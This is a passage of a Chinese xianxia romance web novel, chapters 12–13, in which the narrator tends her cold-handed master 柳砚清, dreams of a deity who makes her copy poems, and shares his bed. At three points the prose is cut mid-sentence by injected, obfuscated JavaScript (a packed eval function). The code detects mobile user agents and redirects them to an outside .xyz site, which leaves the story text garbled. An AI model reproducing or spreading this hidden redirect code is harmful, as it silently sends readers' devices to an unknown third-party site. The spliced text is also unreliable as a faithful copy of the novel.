“长梦将醒,你会记得我吗?” 这不过是半年前,旷野江畔,他同眼前人说过的一句话。 如今,却被她全然忘却。 “还以为你当时躺着不说话,是默认答应了我。” 柳砚清自嘲般冷笑,喉结滚动着咽下更多未尽之言。 “砚……师尊……” 清浅的梦呓。 柳砚清抚弄怀中之人的鬓发,眷恋地描摹她的轮廓,揉捏细嫩的肌肤。 “分明是你说,不可叫我师尊的。” 上穷碧落下黄泉。 他追寻一路,却不想寻得她时,相逢既落花。 旷野上怀里之人从未如此安静过,身体还残留着她的温度,眼下却冷得像是一块石头,四周安静得连她的呼吸都不可闻。 掀开她的衣袖之下,半透明的区域正在以肉眼可见的速度蔓延。 不多时,眼前的人会彻底变成一具透明的身躯,然后消散。 在他漫长的命途中,怀中之人与他一次次相遇、相爱,最后又眼看着她一次次踏上相同的旅途,走向死亡。 “不能眼睁睁再看着你离开我了。” 体内的温度逐渐流失,两具冰冷的身体相拥,数万只仙蝶交融的躯体中迸发,凄惨的鸣叫划破旷野无尽的阴霾。 海水梦悠悠,君愁我亦愁。 南风却不知我意,无缘吹梦到西洲。 【又见东风】 经过霜降那一晚对柳砚清所做的事,我心中始终萦绕着一种难以言喻的愧疚与不安。 接下来的半个月里,我采取了能躲就躲、躲不掉就迅速脱身的策略,尽量避免与他有任何授课之外的接触。 幸运的是,柳砚清并不是那种会追着你问“为什么”的人。 或许,他也不想问吧。 授课的地点与我的住处之间隔着大殿和广场。 这天,我穿过广场时,四周的寂静令人心生不安。平日里打扫广场和角落念书的弟子都不见踪影。 空中弥漫的白雾模糊了视线,气温骤降,大家都躲在屋内不愿出门。 我也想赖在被窝里,但想到柳砚清还在药房等我,便加快了脚步。 柳砚清的药房,也就是我初见他的那间屋子,是我们授课的地方。 屋内不仅有整面墙的药柜,不远处便是医鹿山的书库,极为方便。我推门进屋时,柳砚清正在烹茶。 桌上早已备好了两个茶盏和一碟茶点。见我进来,他先给我倒了一杯热茶。 我颔首道谢,热茶下肚,周身瞬间充满了暖意。 “妙啊——”我忍不住小声感叹。 茉莉花香四溢,药房终日弥漫的苦香被花茶香掩盖。 前些日子,柳砚清下山归来,带回了一些绿茶和茉莉花。 说是鹿镇近来流行从东南建路学来的“香入茶”,兴起了这股热潮。 行医时,茶馆的老板送了些,他便带上山来给大家尝尝鲜。 绿茶的苦与茉莉的香混杂在一起,形成了独特的甘甜口感,对于喝惯了医鹿山古树茶的人来说略显怪异。 我倒挺喜欢这味道,首次喝过后便爱上了香茶清新淡雅的味道。 放下杯盏,我掏出那本柳砚清亲自手抄的书,摊开摆在桌上,开始今天的授课。 半个月的时间里,我们心无旁骛专心学习。 但今天是半月一次的课业检查,下课后我并不能马上离开,而是等着柳砚清抽查近期的学习情况。 我找了个借口到门口学习,避免与他待在尴尬的空间内。 灰蒙蒙的夜空下,云雾缠绕着重重山巅,医鹿山仿佛不在人间。 我靠坐在柳砚清药房门外的石阶上,将视线从远处收回,落在手中的医书上。 密密麻麻的文字和勾勾画画的线条,想不到,我真的能在短时间内学成。 虽然还称不上医者,虽然超过预期制定的三个月计划,得到来年花开之日才可下山,但基本的草药还是能认全。即便不靠行医救人挣钱,也可以靠山间采药换取生活费。 “好冷啊。” 我紧了紧身上的披风,依旧挡不住穿透走廊的寒风。 “既然知道冷,为什么要坐在门口?” 随着一声熟悉的声音落在耳畔,我回头望去,看见柳砚清拿着暖手炉朝我走来。 他走到我身边坐下,伸手自然地拿过我手里的书,顺带把他暖炉放在我的手心。 “准备好检查了吗?” 柳砚清随意翻着手里的书,检查我平日授课做的标记。我侧过脸望着他,清隽的脸上有种说不出的宁静,冷冷却不觉疏离。 兴许是暖炉的功劳。 想到相处的时日弹指一挥,还是忍不住伸出手指戳了戳那张丝毫看不出岁月的脸,圆了我近半月来的日思夜想。 柳砚清淡淡开口:“最近不是躲着我,就是避着我,现在倒敢戳我的脸了?” 我收回不满足的手指,不好意思地埋下头,拍了拍手里的暖炉。 “师、你不也是。就像……什么也没发生一样。” 炽热的暖炉温暖了我冰冷的手,我转头看到柳砚清的手,想起他平日里冰得毫无温度的手,便把暖炉塞回他手里,顺带拿回自己的书。 “师、你手冷,多暖暖。” 柳砚清看了我一眼,无奈摇了摇头,抓住我的手腕把我一同拉起来。 “进屋,检查作业。” 这一次,他没有很快松手。毫无温度的手掌将我带进温暖的屋内,缓缓关上门,只留一室温暖。 我看着两个人触碰的地方,忍不住地笑。 柳砚清不问我笑什么,只拉着我的手回到平日授课的桌边才松开。 “经脉穴位,背错一处,抄《伤寒杂病论》十遍。同一处第二次抽查再背错,多抄三十遍。” 我脸上的笑瞬间凝固……刚才温柔的人去哪儿了? 嘴上说着罚我,可真当我说错了,柳砚清不过摆了摆头。连着说错好几条,他直接挥挥手,让我赶紧回房睡觉。 寒风呼啸的夜,我压着枕头趴在被窝里,手里拿着神器仔细端详。 发簪确实是在我眼皮下从玉石变化而来,应该是神器没错。镶嵌的竹叶好似匠人手工雕刻而出,十分精美。 这真的是神器吗……掐指一算,获得神器也有一段时日,神像说它会指引我,帮助我。 “神器啊神器,我该怎么办啊。” 我转动着发簪,神思恍惚。 “是不是……不该告诉他我的喜欢啊……” 窗外的寒风拍打着窗户,发出低沉的吱吱呀呀声。神器静静地被我玩弄在指尖转动,丝毫没有显灵帮我的打算。 “唉,说好的会帮我的。” 我将神器放置在枕头边,吹灭蜡烛,阖上双眼,只想赶紧入睡忘了烦心事。 正当我迷迷糊糊即将入睡时,枕边突然泛起微弱的青光。光芒如涟漪般荡漾开来,生生将我唤醒。 “唔……大半夜发什么神光……嗯?” 意识忽地清醒,不是发簪抽风,是一只仙蝶。 “师尊的仙蝶?莫非是……师尊出事了?!” 青光竟在黑暗中勾勒出一幅模糊的画面——月下的山路上,一个熟悉的白衣身影正独自前行。 “这是……师尊?” 柳砚清的模样我闭着眼睛都能描绘出来,眼下为何如此不确定……墨黑的头发怎么会这样…… 没多想,我翻身出门一探究竟。 我躲在廊下,望着柳砚清远去的背影。月华如水,将他那一袭白衣镀上层朦胧的银光。 这已经是我第三次看见他在月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056724|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆之夜独自上山。前两次我都按捺住了好奇心,可这次,我总觉得心里不安。 柳砚清从来不肯主动告诉我,既然他不肯说,只有做徒儿的自己发现了。 我攥紧了衣袖,提起裙摆,悄悄跟了上去。 熟悉的蜿蜒曲折,即便在黑暗中,仅靠月光看清脚下的路,我也猜到了这是通往梅林的路。 柳砚清的脚步却很稳,他手中提着一盏青灯,灯影摇曳,在石阶上投下斑驳的光影。 我远远跟着,不敢靠得太近。 月光下,树树白梅开得正盛,花瓣纷飞如雪。 柳砚清的身影没入林中,我躲在树后,看着他走到一株最大的白梅树下,盘膝而坐。 月光透过枝叶洒落,我屏住呼吸,看着柳砚清如瀑的墨发寸寸染白,在月光下泛着银色的光泽。 我捂住嘴,生怕自己惊呼出声。 “出来吧。” 柳砚清的声音突然响起,在寂静的夜里格外清晰。我浑身一僵,原来他早就发现了,亏我隐藏得这么好。 “师……砚清。” 我走到他身边坐下,视线总不自觉看向他几乎和白梅融为一体的白发。 什么时候开始的?还是仙人活得久,所以白了头? “你的头发……也是因为救我吧。同你毫无温度的手一样……” 我伸出颤颤巍巍的手,指尖勾起他的一缕发丝。从头顶垂至腰间的白发如冬日的初雪,轻盈而纯净。 银丝划过指缝,酥麻的感觉勾起我鼻尖酸涩。 “与你无关。”月光下他的面容依旧清冷,眼神却相较从前柔了几分,“修行之路漫长,些许变化在所难免。” 我埋下头,抓住他的衣袖。抽噎片刻,眼泪不争气地落在手背。 神仙怎么会一夜白头,除非…… 我没敢说出口。我知道他是抚慰我说了慌。 “回去吧。”他轻轻抽回衣袖,抬手替我拭去眼泪,“夜深露重,早些回去休息。” 我固执地摇头:“我要陪你。” 柳砚清沉默片刻,终究没有赶我走。 夜风拂过,带来阵阵梅香。我悄悄挪近些,将头轻轻靠在他肩上。他没有推开我,只轻轻叹了口气。 我靠在他肩头,感受他身上清冷的药香。 我说:“我们说说话吧。” 他沉默片刻,才道:“想说什么?” 我说:“昨日我在藏书阁架上,翻到一卷《万梅谱》。虽然作者全名看不清,多少看见一个源字。序言说,此画集描绘了世间所有梅林,可翻到末页却只余一片素白,只有八个字,‘仙人重地,只可天观。’他说的,是不是医鹿山的梅林?” “或许吧。起初这里……只有大火余烬后的一棵枯树。” “是……神仙吗?” 他微微颔首,“那人擅长幻术,喜欢竹林和梅林。初至医鹿山时,便将此地化作一片梅林。医仙原想辟为药园,奈何山中弟子见之皆喜,便留了下来。” “幻术?”我仰头望花,“所以这片梅林……是幻觉?” 话音未落,他抬手接住一片飘落的梅瓣,雪白的瓣儿静静躺在他苍白的掌心。 “如今的梅林,已是真实。人既愿留之,便略施法术,将幻境化实。” “可我从没见过有弟子来梅林。” 柳砚清忽然沉默下来,长睫在月色中投下淡淡的阴影。良久,他才低声道: “是我不许他们来的。” “为何?” “因为……睹物思人。” 夜风不息,我仰头望着永远繁茂的枝头,白梅在月光下泛着莹润的光泽。 “那是什么时候的事?” 他的目光悠远,“记不清了。大概……几年、几十年前吧。” 百年前,前朝,前朝之人——所有的一切,都绕不开那个“她”。 “砚清。”我迟疑着开口“活了三百多年,你有没有特别喜欢过一个人?” 他沉默了很久,久到夜风卷起的白梅落满他的衣襟,久到我以为这个问题会像从前许多次一样,沉入他眼底那片深潭里,再无回音。 “有。” 他的声音很轻,几乎被风吹散,却让我的心猛地揪紧。 “什么时候?” 他的目光穿过层层梅影,仿佛望向某个遥远的时空。 “还在蓬莱求学,与她初遇的时候。” “学医?那姑娘也是会医术的仙子?” “不是。她……不学无术。” 他忽然勾起一抹极淡的笑,转瞬即逝 夜风突然大了起来,卷起满地白梅。感觉有花瓣落在眼前,我下意识躲闪,眼睛像被轻轻刺了一下。 忽地,冰冷的指尖触碰我紧闭的眼,动作轻柔得让我心跳加速。再睁眼,他已经收回那只骨节分明的手。 我靠回他的肩头,月光下,我们的影子再次交叠在一起,仿佛融为一体。 这一刻,我突然希望时间能够永远停留在这一刻。 至少,让我在他肩头多停留一会儿。 “南风……”我无意识地呢喃。 他身形蓦地一僵,猛地转头看我,眼中闪过一丝我读不懂的情绪。 “南风知我意,吹梦到西洲……不知为何,那天醒来,床头多了这么一首诗。” 柳砚清静静凝视我许久,最终只是轻叹一声,抬手拂去我发间的花瓣。 他的手指穿过我的发丝,带着若有似无的颤抖。 我闭上眼睛,贴近他的心口,听见那平稳的心跳声下,藏着某种克制已久的律动。 白梅的香气越来越浓,困意如潮水般涌来。 “你又给我施了什么想睡觉的法术吧……”我的声音已经含糊。 “你需要多休息。” “骗人。” 我蹭了蹭他的衣襟。 “你就是……不喜欢我……不想和我多说两句……” 头顶传来一声极轻的笑,像一片羽毛落在心上。 “若真是这样,怎会留你在此。” 12. 又见东方 【入卿梦也】 最近做梦频次增多,睡了很久,梦了很多奇怪的事,却统统在醒来后忘得一干二净。 铅灰色的世界里,我置身于一座石桥上,一身浅绿色的褙子长裙,双脚却赤足站在硌脚的石板上。 石桥下不见水影却能听见水声。周遭空无一人,我却置身于闹市,耳边不时有人声掠过,叫卖声入耳。 头顶似乎飞过一只喜鹊,鸣叫着停留在了斜方较高处,那里兴许是有一棵树。 忽然,风起,裹挟着淡淡药草香拂来。 我循着熟悉的味道走下石桥,赤脚走过的每一步脚下突然出现破碎的画面,渐渐地,走过的地方在身后显现出真实的模样。 乌篷船转桨,春风过江。热闹的街道,过往的行人,河岸边翠绿的杨柳,石桥下静静流淌的河水。 临街楼台上的少年拨弄着手中的琵琶,咿咿呀呀唱着听不懂的小调。 药草的味道似乎想领着我去什么地方,转过几条小巷依旧可闻。最后,消散在一座石桥上。 等等,这个石桥……不是刚才最初的地方吗? 我左顾右盼,不见熟悉的人影。味道也消散,不免心头失落。 “在找谁?” 是熟悉的声音,心头一喜,回头转身之际差点撞上他的胸膛。 “砚清!”我惊喜地喊道。 柳砚清勾唇浅浅一笑,牵起我的手,温热的手掌包裹住我较小的手。 “春已暖,你的手倒还是凉的。让你别忘披披风,偏不听。”他抬起我们拢在一起的手,温柔地数落我。 “反正砚清会帮我暖手,披风不带也罢。” 我晃动着两个人的手,和他走在春风十里。 我好奇地问道:“砚清的手为何终年都是暖和的,有什么法子吗?” 柳砚清笑道:“许是学医修道,药喝得多了吧。” “温玉在握,何惧霜雪。冬天都不需要暖炉啦。” 我故作揶揄,他也不甘示弱。 “回头上山,我给你开几副养生的方子?” 我连忙摆手,“不了不了,你知道的,除了茶,我喝不了苦的。” 柳砚清无奈笑笑,摆了摆头。 “苦茶和药汤的苦味相差不远,你反倒一个能喝一个不能。” “对啊!”我做出一副不解的表情,空出的一只手抵住下巴,认真分析起来。 “奇了怪了。莫非……偏不喜欢药味儿?但我挺喜欢你身上的味道。药草香,枕着你特好入睡。” 说着,我又朝他胸口蹭了蹭。暖风熏得游人醉,我也想就着春风,醉倒在他的温柔乡。 轰——阵天旋地转的眩晕感在我脑中汹涌席卷。 霎时,胸口处突然撕裂般揪着我,有什么东西想强行从我的胸口处钻出来。 柳砚清的动作像是被静止了一般,视野里的画面摇摆不定,我紧闭双眼,脑海里又突然闪现一些熟悉却陌生的画面。 冬雾里的医鹿山,柳砚清塞给我一个暖炉,又被我以他的手更冷为理由还了回去。他还拿走我手里的书,说要检查近日学过的知识…… 师尊! 师尊在做什么? 师尊你看我啊…… 不许叫我师尊—— 空灵的声音,如飞鹰闪过,猛地袭来,又如星辰坠落,落在晦暗的视野。 我捂住胸口,掌心死死地抓着衣襟,额间不断渗出细密的汗珠。 百思不得其解,这些真切的回忆是何时发生的?我何时向柳砚清学过医术?这双手一年四季都是暖和的,怎么会被说比我的更冷? 咬紧的牙缝里挤出痛苦的呻吟。周围的一切忽明忽暗,天旋地转,铅灰色的幻境与春意盎然的小镇交互闪过。身边的柳砚清定住,眼神空洞地盯着某一处。 我的心头突地一滞,呼吸骤停。 再次恢复意识时,痛感渐渐消失,周围的一切也恢复如初。 行人继续与我们擦肩而过,楼台上的曲子换了首新的唱词,燕雀啁啾,风拂杨柳——就像刚才什么都没发生一样。 “怎么了?” 柳砚清低头看我,我懵懂地抬起头,看了看他温柔似水的双眸。 虽然没明白刚才身体出现的异样是什么情况,但我弄懂了一件事—— 这里是我的梦。 我梦到了过去,重生前,我和柳砚清切实发生过的事。 身体异样之前的我,是从前的我。意识到是梦的我,是现在的我。 神像所谓的“引梦”,是这个意思吗。 曾经的柳砚清原来是这样温暖的一个人吗。 我想起他每次与我相处时,刻意的躲闪,和不愿在我身上多做停留,眼睛里总是写满了冷漠和勿进。 心想被什么尖锐的东西狠狠扎了一下,涌出的血是酸涩的。 “师——砚清。”我差点又叫错了。 柳砚清对上我的视线,温柔似水的清隽之人静静地看着我。 “你的手,会在什么样的情况下变凉?”我试探性地问道。 柳砚清脸上浮出一丝不解。 “用冰水净手的时候?” “不是那个意思!我的意思是……”我一时不知该如何解释。“假设!我是说假如!如果我死了,你会救我吗?” 柳砚清毫不犹豫地回答:“会。” 我紧接着追问道:“怎么救?” 柳砚清可见蹙起眉头,不解地看着我。 “为何突然问这个?你要救谁吗?” 我愣了愣,神色慌张地转动着眼睛,思考该找个什么理由来打探消息呢。 “没谁。就——问问。医鹿山的规矩不是不许救人,不可干涉生死吗。你说会救我,便想知道你怎么……救我。” 柳砚清眨眨眼,犹豫着开了口。 “你又如何知道,医鹿山的规矩不可干涉人的生死?” 柳砚清是如何从我眼前消失的,我猜和现在与我并肩站在铅灰色幻境中的这个人有关。 铅灰色的雾气突然吞噬了整个小镇。 柳砚清的背影在雾中溶解的瞬间,一袭白袍的身影从虚空中踏出。 来者振袖一挥,幻象如碎瓷般剥落,露出后面荒芜的真相。 我下意识后退半步,这个裹着白纱、通体雪白的身影,竟比消失的柳砚清更让我毛骨悚然。 “看你都干了什么。” 无可奈何的声音从头纱下发出,恨铁不成钢地冷哼了一声。我有些忐忑地揉搓着手,拇指指甲扣着食指指腹的皮肉。 “难道这不是梦,而是我回到了过去?刚才的对话无意间改变了过去?!” 在我一脸遭雷劈的慌乱中,那人冷冷地吐出两个字。 “不是。” 我啧了下嘴,“那你生个什么气……” 毫无征兆,旁边的人抬起脚直接给我屁股上狠狠踢了一下。我疼得跳起来,捂着屁股嗷嗷叫唤。 “朽木不可雕也,粪土之墙不可圬也。” 他居然打我还骂我!怎么感觉跟爹似的…… 嗯?爹? 我捂着屁股小心翼翼凑到他身边,试图透过白纱看清他的长相。 “神——像?” “放肆!” 神像向后迈开一步,又在我屁股上狠狠踹了一脚。 “嗷——!痛啊!” “不痛你不长记性!” 我倒吸口冷气,揉揉痛痛的屁屁。 “神仙怎么能打人呢!” “吾只打你。” “为什么!” “竖儒!几败而公事。” 蠢货!差点坏了你爹的大事! 虽没读过几年书,但这句话我还是知晓的。 额,神像已经生气到骂爹了吗…… 我收起脸上的怒色,捂着屁股默默安慰自己,别自讨苦吃。区区凡人,还是别跟神过不去。小人不计大人过。 神像转过头,似乎在认真地看着我,良久没发出声响。 我的心不禁紧张万分,提高警备,双手护住我娇嫩的屁屁,时刻紧盯他的脚,生怕又挨揍。神像弱下气势,转过身背对与我。 “知错了吗?” 我乖乖点头,双手抱在腹前,“孩儿知错了。” “孺子可教也。” 神像欣慰地点了点头,抬手一挥,宽敞的大袖拂过之处变化出书案和笔墨纸砚。 “吾念,你写。” “是。” 研磨好墨汁,铺开纸张,提笔准备就绪。 “爹要我写什么?” 神像抱着双臂开始吟唱。 他居然没有否认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056725|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我叫他爹,呵…… “东方未明,颠倒衣裳。颠之倒之,自公召之。东方未晞,颠倒裳衣……” 虽然不知道神像唱的什么,但我还是一字不差地写在纸上。 落下最后一笔,我忍不住欣赏自己的大作。 太完美了!写得不要太好! “你笑什么?”冰冷低沉的声音在头顶响起。 “啊?啊!” 又是一脚狠狠踢在我屁股上。好不容易露出喜悦的笑容瞬间变成痛苦的狰狞。 铅灰色的幻境里连连响起我的哀嚎声。 “全是错字!重写!” “不会吧……东方为名,点到衣上……” 我尴尬地指点笔迹,嘴里说着念着语无伦次,支支吾吾。写的什么狗屁不通。 “一句话八个字,你写错六个。” “不会吧……一定是失忆的问题!不是我的问题!” “不许找借口!” “嗷——!爹我错了!” 还好是梦,否则这一觉醒来屁股该肿了。 神像深深地看了我一眼,然后抬起手,指尖点上我的额头。隔着白色的纱,能隐约看到神像的容貌。 我紧紧地盯着他,心头咯噔一下—— 他的眼睛,是金色的。 为进一步确认眼前的人确确实实是神仙,我便悄悄朝前半步,方便能看得更清一下。粗矿的眉毛,金色的眼睛,目光如炬,不容亵渎,气宇轩昂。 “哇,您真的是神仙啊。” 既然眼前站的真的来自神界的大仙,那么他的出现一定有更特别的原因。 在神像一笔一划的教导下,我顺利写完了这首漫长不知其名的诗。 真同爹爹一般,他看着我写完的诗,然后慢慢的把手里的纸卷起来,在我脑袋上轻轻敲了下。 “多读书。竟然连诗经都不知道。” 说着,把手里的纸递给我。我颔首接下,揣进怀里。 “谨遵教诲!” 神像像又想起什么很重要的事,又掏出一张纸铺在书案上叫我继续写。 “还写?!” 我下意识抱怨,果不其然,屁股上又挨了一脚。 “让你多学习是为你好!” “是……” 冗长的梦境,写完《西洲曲》后我便醒过来,看外头已是日晒三竿。 我揉着酸痛的屁股起身,转头看到了和发簪躺在一起的两卷纸。 哪儿来的纸?如雪偷放在我枕头边的? 铺展开来,两首歪歪扭扭的诗呈现,我厌恶地咂了咂嘴,迅速收起来免得被人看到我这奇丑无比的字。 【烟波醒渡】 “师尊莫不是为了救我,所以阳气耗尽,因而手脚冰凉,气血不足……” 今日份的授课完毕,我趴在书案上,摊开的《诸病源候论》放在头顶,嘟着嘴嘀嘀咕咕。 柳砚清也捧着书,不过和我不是同一本,是一本前朝的诗集,端着茶盏一边饮茶一边阅读。 “有空多学习,少想无关紧要之事。还有,不许叫我师尊,不长记性。” 我撇了撇嘴,猛地将书轻轻砸在书案上,大喊一声—— “师……柳砚清!” 柳砚清有一瞬的怔愣,抬眼瞟了我一眼又重回书上。 “接下来的日子,每晚我烧一盆药水,盯着您好好泡脚!” “不必。”柳砚清的声音淡漠。 见状,我的手在书和空中交替胡乱比划,解释起来:“书言,寒热之症非小事,且诸病治疗的方式各有千秋。师尊常年吃药却不起作用,是该用点别的方法。寒从脚起,泡脚不仅可以促进血液循环,还可以——” 虽然心头没底,不知道对与否,越说越心虚,但我面上还是表现得一副学有所成的真诚。 “再说下去,我就罚你抄书。” “罚就罚。” 我摆出一脸无所畏惧。他目光复杂地看着我。 “终究还是学疯了?” “抄书而已嘛,比起你的身体,抄书……不算什么。” 柳砚清轻挑眉,“《黄帝内经》素问阴阳应象大论篇三遍,明早给我。” “……” 来真的啊。 我刚才那句话难道没有让他深受感动吗!冷酷无情的男人! 13. 花拥鸳房 天冷,我们便在房里用膳。抵着寒风把饭菜端来的人,自然是我。 医鹿山的伙食清淡,多以药膳为主。我吃不惯,总要给自己开小灶。去厨房端来两人份的餐食,也顺带给自己加个菜。捞点油荤,炒个小菜。 厨房到柳砚清的药房有些距离,又怕我辛苦炒制的美味半路凉了,灵机一动,用土锅盛,回去用柳砚清烹茶的泥炉热着吃。 我简直是个天才! 晚餐后,柳砚清出门不知去哪儿,叮嘱了我几句便淋着风雪离开了。 临近半夜才回来,见我还赖在他的药房不禁皱起眉头。 “怎么还不回房休息?” “等你泡脚啊。” 没等他回答,我便很自然地拉起他的手,走到他的床榻边按着他的肩膀让他坐下,端来我特别为他抓配的方子熬成的洗脚水。 “已经烧好啦,需要加热水跟我讲。我在这儿抄书,您慢慢泡。” “……” 不用看我都知道现在柳砚清的表情有多无语。 药房内屋便是柳砚清的床榻。手上抄着书,我的耳朵一点没放过内屋传出的窸窸窣窣的声音。 鞋袜脱下的声音,玉足入水的声音…… 明明是再正常的声音,却被我听出了心痒痒的感觉。 我趴在书案上,隔着柜架,远远观望正襟危坐赤脚泡在药水桶里的他。 嘴上说着罚我,拒绝我,可对我的事从来都是一时嘴快,凡事顺着我。我几乎能想象到重生前我和他会发生的故事。 我起身走到柜架旁,扶在木架上看他入迷。 “砚清?” 我轻声细语唤他。 他错愕地看向我,又收起视线。 “砚清。” 我又唤了他一声,迈着碎步缓缓走近他。 氤氲的热气下我隐约看到他耳根泛起的红晕。 我单膝跪在床榻边,伸出手摸了摸他骨节分明的手。 方子里的药草都是益气、温阳、补血功效的,怕药效不够我甚至还多加了些,以为会这双手多多少少会温暖些。 没想到还是冰冷刺骨。 “怎么会这样……” 我失落地收回手。拿过搭在一旁的帕子,从水里捞起柳砚清的脚替他擦干脚上的水。 “我自己来——” 我打断柳砚清想抢走帕子的手,对上他有些慌乱的目光,笑了笑。 “徒弟给师傅擦脚,合情合理,是可以的。” 其实我是想借着擦脚的机会,探一探他双脚的温度。 同手一样,我托着的仿佛一块冰山上躺了数年的玉石。 我心疼地抬起头,望进那双静静俯视着我的双眼。 不由攥紧了指尖,直到他因疼发出一声,我才回神松开。 “抱歉!我弄疼您了吗!不影响走路吧!我现在就去找一个木棍帮您正骨!” “……无妨。” 服侍好柳砚清躺好盖好被子,见他忐忑不安地闭上眼,我才安心从床榻边离开。 三遍素问阴阳应象大论篇才抄了半遍,我伸了伸懒腰,推开门看了眼门外簌簌飘落的雪,哆嗦着重新坐回书案边继续抄写。 柳砚清不会介意我在这儿抄的吧? 相比起我在此抄书打扰他休息,和看着我孤身一人冒着风雪回房,明日落得个风寒,后者更令柳砚清头疼吧。 师尊终究还是疼我的。看在他如此疼爱我的份上,还是别拿自己的身体开玩笑,在这儿专心抄书吧。 抄书的速度不敌打瞌睡的劲儿。 意识模糊间,我听到泥炉里炭火轻微炸裂的声音,又好似门窗关合的吱呀声。 一股冷风灌入屋内,惊起我一阵颤栗。双目困得厉害,怎么也睁不开。我紧了紧身上的披风,继续趴在桌上睡。 恍惚间,身体一轻,整个人似乎悬在了半空。我稍稍眯起眼,发现自己真在半空,被人抱在怀里的状态。 瞌睡霎时全无。 我不敢发出声响,屏住呼吸等待对方的下一步动作。 柳砚清抱着我轻轻放在自己的床铺上,替我盖好被子。趁他转身之际,我眼疾手快,抓住了他的手腕。 “你……砚清去哪儿?” 骤然喊出这个两个字,柳砚清也微微一愣,眼底闪过一线恍惚。 “你今夜为何……” 你今夜为何会突然叫我砚清?沉静的眸子里无声地向我提出疑问。 “砚清。” 我夹起嗓子唤他,抖动肩膀,故意露出半边香肩,抬眸的瞬间,轻咬下唇,流露出若有若无的引诱。 “我一个人害怕……近来老是做噩梦,梦见些血腥骇人的画面……每夜都被惊醒,醒来后泪水打湿枕头……你陪陪我,好不好?” 怔愣好久,久到我露出的肩头发冷发硬,他终于肯掀开被子在我身边躺下。 刚才顿在原地莫不是在做思想斗争?对嘛,天冷,再怎么羞怯也不能跟自己作对啊。 我笑着挪开一点位置让让他,见他不肯动,全身僵硬躺在床沿,我使着牛劲儿把他拖到床榻中央,才安心躺下。 “师、砚清晚安~” “……” 烛火晃动,昏暗的房间里,我闻着他平静的呼吸久久不能入睡。心鼓动得厉害,快要跳出嗓子眼。 “□风。” 清冷的声音在身后响起,我迟疑着回过头,恰好撞进他侧身投来的缱绻温柔的眼。 “师、砚清……” 我伸出手扶上没有温度的脸庞。柳砚清沉下眼,抬手覆上我的手背,脸庞在我的掌心蹭了蹭。 “我好想你。” “你明明就在身边,触手可及,可还是思念成疾……” “抱歉,那个奇怪吝啬的人,是我啊……” 真真假假的话钻进了心里,他呼喊着对“我”的思念,我却忍不住涌出泪水,心口揪着疼。 尽管如此,我还是抚摸他,吻上他发红的眼角。 是我猜想、装作从前的样子引诱他,后果该自己承担。 就算是时间也无法抚平所有的伤痛,哪怕是我自己……也代替不了曾经的我在他心中的位置。 “砚清,我在,我回来了。这次,我们不会再分离,我发誓。” 我刻意剥离心中浓烈的寂寞,幻想成他心中那个我的样子,拥着他的身体忘我的方向靠拢。 他伸手环住我的腰,轻轻收拢手上的力度。 “……风……抱歉。” 他从未在幻境以外喊过我的名字,更别说如此柔软的语调。 我抑制着内心想要呻吟哭泣的躁动,一下一下安抚着怀里的人。 雪,还在落。从南山吹来的风,路过房梁,悲鸣的呜咽。 “是我顾虑太多,是我庸人自扰。我不是揪着过去的你不放,你也不必……学从前的样子。做现在的你,也挺好的。” 我无奈发笑,又不禁抱紧了他。 原来他都明白的。 “我不是想听师尊道歉。比向我反省错误,我更想你被你坦诚相见,没有隐瞒。” “……你确定在这种时候叫我师尊吗?” 我无忧大笑,学着他生气的样子和声音说道:“不许叫我师尊!” 怀中脸埋进我胸口的人无语似的笑了声,我抚慰着他披散的墨发,又说:“既是道歉,砚清该表示一下诚心呀。” “怎么表示?” 怀里的人仰起头,我笑着将冰冷的双手贴上他更甚的脸。 “我冷。我被你每日冷言冷语折磨得厉害,得你被你吻到失神、吻到无法呼吸才行。” 奉上的吻是他回答的话语,他的手锢在我的脑后,用力地将我抵向他。 这个吻饱含太多情绪,三个月的不安,又或者是朝夕相伴生出的思念。 原来化解心结的关键那么简单,为什么我们从来不肯尝试,只一次次留下伤疤。 窒息的室内又热又烫,没有温度的指尖捋过敏感的脊背,像冬夜里的月光流淌,引诱我的颤栗。 “痒……” “嗯。” 听到我的控诉也只是敷衍,仍然不为所动,有意无意地划过更多敏感的位置。 冰火顷刻间交融,截然不同的身躯毫无缝隙地紧贴着。到底是热还是冷,我已经放弃思考。 情迷之中,我忍不住叫他的名字。一遍一遍,音高音低。 “你也……叫我的名字啊……” 他无声拒绝了。 我猜,是空不出嘴的原因。 细碎的吻落在我的眉眼、耳垂上,一路绵延至脖颈、锁骨。 “从前我就想问,为什么你总喜欢盯着我的耳垂,那里有什么吗?” “嗯。”低沉的嗓音久违地回复我,“一颗痣,现在不见了。” “不见了?去哪儿了?” “……” 沉默后,紧接着脖子处传来一阵轻微的刺痛。 “你!咬我?” “专心,不可三心二意。” 不回答就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 